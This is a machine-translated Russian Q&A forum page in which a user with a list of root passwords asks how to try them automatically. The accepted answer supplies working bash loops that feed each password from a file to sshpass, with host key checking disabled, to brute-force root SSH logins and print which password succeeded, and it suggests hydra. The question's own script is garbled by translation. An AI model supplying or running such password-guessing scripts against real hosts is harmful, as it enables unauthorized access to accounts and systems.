Ввод пароля в сквозном цикле

Сценарий, как у меня есть список корневых паролей. Но я не хочу продолжать пытаться вручную. Итак, я написал сценарий оболочки:

для меня в {1..26}

делать

су - >> результат

сделанный

и все мои пароли находятся в файле "try.txt".

Теперь в командной строке введите команду:

bash p2.sh

Но он показывает ошибки: "Стандарт в должен быть tty"

Так есть ли способ, которым я могу ввести эти пароли с помощью некоторых кодов или команд, не вводя вручную каждый из них? Расскажите, пожалуйста, о подходе командной строки вместо какого-либо продвинутого программного обеспечения. Я в этом для обучения. Спасибо:)

1 ответ

Решение

Вы можете проверить пароль, установив соединение ssh в цикле:

#!/bin/bash

sshpass -f<filename> ssh -o 'StrictHostKeyChecking no' -p port user@ip

Вы должны просто установить sshpass в вашей системе

Это, безусловно, работает:

sshpass -p'password' ssh -o 'StrictHostKeyChecking no' -p 22  root@ip

Попробуйте это, безусловно, поможет вам:

for pass in $(cat /path/to/pass)
do
   sshpass -p$pass ssh -o 'StrictHostKeyChecking no' -p 22  root@ip
done 

ОБНОВИТЬ

Так что если вы хотите получить симпатичный вывод:

#!/bin/bash

for pass in $(cat /path/to/pass)
do
    echo -e "Reading $pass..."
    sshpass -p$pass ssh -o 'StrictHostKeyChecking no' -p 22  root@ip

    if [ "$?" -ne "0" ]; then
           echo -e "$pass is incorrect\n"
    elif [ "$?" -eq "0" ]; then 
           echo "SSH connection established with pass=$pass"
    fi
done 

Вы также можете проверить свои пароли сhydra

Другие вопросы по тегам